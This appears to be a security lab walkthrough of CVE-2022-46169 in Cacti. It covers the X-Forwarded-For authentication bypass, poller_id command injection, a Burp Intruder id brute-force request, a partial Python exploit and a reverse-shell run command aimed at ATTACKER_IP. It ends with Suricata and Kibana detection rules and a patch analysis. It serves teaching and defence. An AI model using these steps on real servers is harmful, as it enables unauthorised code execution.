Cactus

Authentication Bypass

The CVE-2022-46169 vulnerability allows an attacker to bypass authentication and execute arbitrary code remotely on the affected system. This vulnerability specifically affects Cacti, version 1.2.22, released on August 18, 2022.

The vulnerability is present in the remote_agent.php file, which has a function to retrieve IP addresses and verify an entry within the poller table. If an entry is found, the function returns true, and the client is authorized.

Vulnerability on remote_agent.php

The remote_agent.php file is designed to be accessed solely by authorized clients. To ensure this, an authorization verification is implemented at the start of the file:

 
if (!remote_client_authorized()) {
   print 'FATAL: You are not authorized to use this service';
   exit;
}

The remote_client_authorized function is used to obtain the client’s IP address ($client_addr), convert it to the corresponding hostname ($client_name), and verify if this hostname is present in the poller table:

 
function remote_client_authorized() {
   // ...
   $client_addr = get_client_addr();
   // ...
   $client_name = gethostbyaddr($client_addr);
   // ...
   $pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);
   foreach($pollers as $poller) {
      if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
         return true;
      // ...

The code snippet above illustrates that the get_client_addr function is used to fetch the client’s IP address. This function considers several HTTP headers that can be manipulated by attackers when determining the IP address:

 
function get_client_addr($client_addr = false) {
   $http_addr_headers = array(
       // ...
       'HTTP_X_FORWARDED',
       'HTTP_X_FORWARDED_FOR',
       'HTTP_X_CLUSTER_CLIENT_IP',
       'HTTP_FORWARDED_FOR',
       'HTTP_FORWARDED',
       'HTTP_CLIENT_IP',
       'REMOTE_ADDR',
   );

   $client_addr = false;
   foreach ($http_addr_headers as $header) {
      // ...
      $header_ips = explode(',', $_SERVER[$header]);
      foreach ($header_ips as $header_ip) {
         // ...
         $client_addr = $header_ip;
         break 2;
      }
   }
   return $client_addr;
}

While the REMOTE_ADDR variable is assigned the source IP address from the connection to the web server, variables starting with HTTP_ are filled with the corresponding HTTP headers received from the client. These values can be completely controlled by attackers unless there’s an instance between the client and the web server (like a reverse proxy) that filters these HTTP headers.

Referring back to the previous code snippet, the poller table includes a default entry with the hostname of the server running Cacti. As a result, attackers can circumvent the remote_client_authorized verification by, for instance, supplying the HTTP header X-Forwarded-For: . In this scenario, the get_client_addr function returns the IP address of the server running Cacti. The gethostbyaddr call then converts this IP address to the server’s hostname, which will pass the poller hostname verification due to the default entry.

How to Bypass Authentication Checks on This Endpoint

The authentication can be bypassed by manipulating the X-Forwarded-For value to match an entry within the poller table. This will cause the function to return true, authorizing the client.

Sample request without the X-Forwarded-For Header

Sample request with X-Forwarded-For Header

Note: The value of the X-Forwarded-For might change depending on the target.

Command Injection

The command injection vulnerability is also present in the remote_agent.php file. It is specifically associated with the poller_item and its action parameter.

Vulnerability on parameters of remote_agent.php

As per the injection flow described, the user-provided parameter poller_id is passed to the first parameter of proc_open without any sanitization or escaping. This leads to a command injection vulnerability in the poll_for_data function.

Attackers can exploit this vulnerable function by setting the action parameter to polldata:

 
switch (get_request_var('action')) {
   case 'polldata':
      poll_for_data();

Initially, the poll_for_data function fetches the parameters host_id and poller_id. However, there’s a crucial distinction: the host_id parameter is obtained from get_filter_request_var, while the poller_id parameter is derived from get_nfilter_request_var; note the extra ‘n’ character here:

 
function poll_for_data() {
   // ...
   $host_id        = get_filter_request_var('host_id');
   $poller_id      = get_nfilter_request_var('poller_id');

While the get_filter_request_var function ensures that the fetched parameter is an integer, get_nfilter_request_var, which is used to fetch the poller_id parameter, allows any strings.

Continuing along the injection flow, we observe that poller items are fetched from the database. If the action of one of these items is set to POLLER_ACTION_SCRIPT_PHP, the vulnerable call to proc_open is made:

 
// ... 
// ... retrieve poller items from database ...

foreach($items as $item) {
   switch ($item['action']) {
   // ...
   case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
      // ...
      $cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);

This implies that attackers can use the poller_id parameter to inject any command when an item with the POLLER_ACTION_SCRIPT_PHP action exists. This is highly probable in a production instance as this action is added by some predefined templates like “Device - Uptime” or “Device - Polling Time”.

To make the database query return such an item, the attacker must provide the corresponding id. Given that the ids are numbered in ascending order and hundreds of ids can be sent in a single request by providing an array, attackers can easily find a valid identifier.

Checking for a valid host_id and local_data_ids

1. Using Burp Suite Intruder, Click the + sign to add a new tab and paste the below request to the payload positions tab (make sure to have 2 blank lines at the end of the request).

   Sample Request

              GET /cacti/remote_agent.php?action=polldata&local_data_ids[]=§1§&host_id=§1§&poller_id=1 HTTP/1.1
   Host: MACHINE_IP
   X-Forwarded-For: 127.0.0.1
   Cache-Control: max-age=0
   Upgrade-Insecure-Requests: 1
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
   Accept-Encoding: gzip, deflate
   Accept-Language: en-US,en;q=0.9
   Cookie: Cacti=asokjqjpteiq57e717sbl2jili
   Connection: close
   
   
   
           

2. Set the target to http://MACHINE_IP/ and the attack type to Cluster Bomb.

3. Insert a new payload marker to the value of host_id and local_data_ids parameter.

4. Configure the payload to the below settings.

   1. Click the payload set to 1

   2. Change the Payload type to Numbers

   3. Modify the Number range and Number Format in the Payload settings section to the following settings:

      Number range

      • From: 1
      • To: 20
      • Step: 1

      Number Format

      • Min integer digits: 1
      • Max integer digits: 2
      • Min fraction digits: 0
      • Max fraction digits: 0

      Note: change the payload set to 2 once done with the setup of the above steps. Once the payload set is changed, repeat the above steps.

   

5. Click the Start attack button to start. To monitor the results, click the length tab to sort the request by largest to smallest.

   1. The request with that largest length is valid.
   2. The number in the Payload 1 tab is the value that works in the local_data_ids parameter.
   3. The number in the Payload 2 tab is the value that works in the host_id parameter.

   

Remote Code Execution

Since we have already validated that there are valid host_id and local_data_id from the previous attack, we can automate the remote code execution using this exploit. Before running the exploit, change the line 26 of the code from 'X-Forwarded-For': f'{local_cacti_ip}' to 'X-Forwarded-For': '127.0.0.1'. Below is the sample modified code:

class Exploit:
    def __init__(self, url, proxy=None, rs_host="",rs_port=""):
        self.url = url 
        self.session = httpx.Client(headers={"User-Agent": self.random_user_agent()},verify=False,proxies=proxy)
        self.rs_host = rs_host
        self.rs_port = rs_port

    def exploit(self):
        # cacti local ip from the url for the X-Forwarded-For header
        local_cacti_ip  = self.url.split("//")[1].split("/")[0]
    
        headers = {
            'X-Forwarded-For': '127.0.0.1'
        }
 

Once you modified the code, start an nc listener with your desired nc listener port. In the below example, we are using 443. The ATTACKER_IP is your AttackBox IP address or your VPN IP address if you're using your VM, and ATTACKER_MACHINE_LISTENING_PORT is the nc listener port.

Once done, run the exploit code by using the command below. 

           user@machine$ python3 51166.py -u http://MACHINE_IP/cacti/ -i ATTACKER_IP -p ATTACKER_MACHINE_LISTENING_PORT
        

As shown in the image above, the exploit worked since a reverse shell connection was established on the attacker's listener.

Identifying Indicators of Compromise (IoCs) in a System

We've learned in previous tasks while breaking down CVE-2022-46169 that the HTTP GET request to trigger both Authentication Bypass and Command Injection makes use of the following:

Request Endpoint remote_agent.php URL string / Parameters action local_data_ids[] host_id poller_id

The existence of recognised IoCs in a system typically indicate a security breach or an attempt at exploitation. Proper logging is essential as it records all system activities. These records can then be analysed to confirm the system's regular functions and security remain intact and uncompromised.

Log Analysis of events generated by CVE-2022-46169 exploitation attempts on Apache HTTP Server

Proper logging is essential as it records all system activities. These records can then be analysed to confirm the system's regular functions and security remain intact and uncompromised. Logs often provide information as a breadcrumb trail of user and system activities. In the context of vulnerabilities, they can capture the footprints of adversaries. Hence, analysing Apache logs can be a potent method to discern if a web server has been targeted by a specific vulnerability, in this case, CVE-2022-46169.

Let's dive into how this information can be extracted from logs using the grep command:

Generating Alerts for CVE-2022-46169 exploitation attempts with Suricata

Automated alert systems like Suricata can be instrumental in providing real-time alerts for suspicious activities. This can help enhance the vigilance of professionals such as security analysts and security engineers who use these tools.

For CVE-2022-46169, a specific rule can be set up in Suricata to flag potential exploitation attempts based on the Sigma rule described in Task 5.

1. Writing the Suricata Rule

Below is a Suricata alert rule designed to detect CVE-2022-46169 exploitation attempts.

            
alert http any any -> $HOME_NET any (msg:"CVE-2022-46169 Cacti Exploit Attempt"; content:"GET"; http_method; content:"/remote_agent.php"; http_uri; content:"action=polldata"; http_uri; content:"poller_id="; http_uri; pcre:"/bash|sh|powershell|cmd/"; flowbits:set,CVE-2022-46169-attempt; metadata:created_at 2023_07_21, updated_at 2023_07_21; classtype:web-application-attack; sid:1000001; rev:2;)
            
        

We can add this rule to our target machine by following the steps shown below:

            
[user@MACHINE_IP /]$ mousepad /etc/suricata/rules/cacti_exploit.rules
            
        

2. Update Suricata Configuration

Edit Suricata's main configuration file to change the default rule path and include the new rule.

            
[user@MACHINE_IP /]$ mousepad /etc/suricata/suricata.yaml
        

            
default-rule-path: /etc/suricata/rules
rule-files:
 - cacti_exploit.rules
 - suricata.rules
            
        

3. Restarting Suricata

Restart Suricata once the new rule has been added and the configuration file has been updated to ensure changes will take effect.

            
[user@ip-MACHINE_IP /]$ sudo systemctl restart suricata
            
        

4. Monitoring Alerts

Suricata logs alerts to the /var/log/suricata/fast.log by default. Monitor this log file for alerts related to the rule we just created.

            
[user@ip-MACHINE_IP /]$ tail -f /var/log/suricata/fast.log
            
        

Re-executing the exploit on the AttackBox

Observing the generated alerts by Suricata

5. Taking action

If you spot any alerts, it indicates potential exploitation attempts. Review the alerts, identify the source IP addresses, and consider blocking them at the firewall level or taking other necessary security measures.

Mastering the art of identifying these IoCs can enable one to proactively detect and defend a Cacti setup and other web-based applications by ensuring a robust defence against various security threats.

Using the known indicators we identified after breaking down the vulnerability, let's showcase how it can be used to hunt for events ingested in a SIEM.

Investigating Events through Kibana

First, access the Kibana instance using the link: http://MACHINE_IP:5601 within your AttackBox’s browser.

Once you have opened Kibana, navigate to the Discover console by clicking the left sidebar (highlight #1) and the Discover button (highlight #2).

Once the Discover page has loaded, you will have a view similar to the image below.

In this new view, we will use the query string below to hunt for indicators of CVE-2022-46169.

(http.request.method:"GET" AND url.original:*remote_agent.php* AND url.query:*action=polldata* AND url.query:*poller_id=* AND url.query:(*bash* OR *sh* OR *powershell* OR *cmd*))

The query string hunts for HTTP GET requests to remote_agent.php. Moreover, all the strings below should exist in the HTTP Query field:

• action=polldata
• poller_id=

Lastly, the following strings were also checked in the HTTP Query field. These strings indicate a potential command execution on either Windows or a Unix machine:

• bash
• sh
• powershell
• cmd

You may follow the instructions below in configuring the Discover view. 

1. Set the timeframe to July 19, 2023.
2. Ensure the query is under the filebeat-* index
3. Copy the Elastic Query string in the search field and press enter.

Once the query has loaded, it can be seen that the resulting view provided the logs related to the exploitation of CVE-2022-46169.

To improve the view, add the following fields as a column by navigating to the left sidebar:

• source.ip
• url.path
• url.query 

Based on the results, it can be observed that the query has successfully provided all events generated by the attack that occurred on July 19, 2023. You may also see that the source.ip column reflects the IP address of the attacker. Moreover, the url.query column shows all malicious commands injected in the poller_id parameter.

To complete the investigation, replace the query timeframe to hunt all attacks generated on July 20, 2023. Analyse the results and answer the remaining questions below. After setting the right timeframe, you should have a similar view as the image below.

Managing third-party software, like Cacti, can pose significant challenges for large organisations. With the complexities of scale, diverse software, and compliance requirements, patch management is vital to effectively handle the patching process and ensure the security and stability of third-party applications within the organisation's IT infrastructure.

Patch Management

Patch management is the typical course of action to address issues related to known vulnerable software. It typically involves the following steps to manage software patches effectively:

1. Patch Identification

   Monitoring various sources, such as software vendors, security advisories, and vulnerability databases, to identify available patches for the installed software or systems. Moreover, this step heavily relies on baseline asset inventory, which aids in identifying the existing software applications used by the organisation.

2. Patch Assessment
   

   Assessing the relevance and criticality of each patch to determine if it is necessary for the specific environment or system. This involves considering factors like the severity of vulnerabilities, potential impact, and compatibility with existing software.

3. Patch Testing
   

   Testing patches in a controlled environment, such as a test network or a subset of systems, to ensure they do not introduce new issues or conflicts with existing software or configurations.

4. Patch Deployment 
   

   Deploying approved patches to the target systems or network infrastructure following a planned schedule or urgency, considering any dependencies or prerequisites.

5. Patch Verification 
   

   Verifying the successful patch installation and conducting post-deployment testing to ensure the desired results are achieved and that the system remains stable and secure.
   

6. Patch Monitoring and Maintenance 
   

   Continuously monitoring for new patches and updates, staying informed about emerging threats, and maintaining an ongoing patch management process to keep systems up to date and protected.
   

By implementing patch management, emerging vulnerabilities on third-party applications can be proactively addressed, and threats can be easily prevented.

Whilst patch management aids in the process of mitigating software vulnerabilities, it is also essential to understand directly the fixes applied to a software application. Given this, let's proceed to the next section.

Vulnerable Code Mitigation

As a response of Cacti developers to the vulnerability, a patch was immediately released in version 1.2.3. The fix has prevented the authentication bypass and command injection vulnerabilities on the remote_agent.php endpoint.

To expound further, let's discuss the changes made to the source code. 

The source code of Cacti is hosted on GitHub, so we can easily view the commits done during the patch application. For a quick resource, you may use this link to see the essential changes made on the vulnerable endpoint - Resolving CVE-2022-46169.

Based on the resource, it can be seen that the remote_agent.php was updated on the following lines:

1. The first one is on line 301, which contains $poller_id = get_nfilter_request_var('poller_id');.

2. Next in line 385, which contains the following code:

   $cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);

3. Lastly, lines 446 and 447, which contains $poller_id = $config['poller_id']; and $network = get_filter_request_var('network');.

The first fix, on line 301, is about replacing the get_nfilter_request_var function with get_filter_request_var. According to the source code of Cacti, the documentation of these functions can be seen in /lib/html_utility.php.

The get_nfilter_request_var function allows arbitrary strings, and returns the same value if the parameter exists in the request, else it will return a default value.

Now, the replacement function get_filter_request_var restricts the input only to integers, which prevents the command injection string to the poller_id parameter.

Moving on to the remaining fixes, it can be seen that the variables on lines 385, 446 and 447 were all sanitised using the cacti_escapeshellarg function. Based on the source code, it can be seen on /lib/functions.php documentation that the function uses the escapeshellarg built-in PHP function to wrap the argument in a single string via single quotes, preventing potential command injection attempts.

Lastly, the patch for the authentication bypass was implemented on the get_client_addr function of /lib/functions.php. As shown in the patch difference, it can be seen that the usage of custom HTTP headers was removed. This fix prevents attackers from arbitrarily setting the client IP; only the REMOTE_ADDR variable is used by default. To maintain the application's functionality, the applied fix allows administrators to configure what HTTP proxy headers are acknowledged when determining the client IP.

• What the CVE-2022-46169 is about and its impact on Cacti users.
• The breakdown of the vulnerability from authentication bypass chaining it to a code execution vulnerability.
• Different ways to hunt and detect the exploitation of this vulnerability.
• How to effectively maintain and mitigate threats to third-party applications

• OWASP Top 10 - Learn more about the most common vulnerabilities discovered on web applications.
• Burpsuite Repeater and Intruder -  Learn more about Burpsuite and its core usage and functionalities.
• Command Injection - Learn more about Command Injection and how it can be leveraged in different cases.
• Sigma and Introduction to Detection Engineering - Learn more about Sigma rules and how they can be used in detection engineering.
• Introduction to SIEM - Learn more about the core concepts of SIEM and how Security Analysts use it.

• Sonar Source
• CVE-2022-46169 Exploit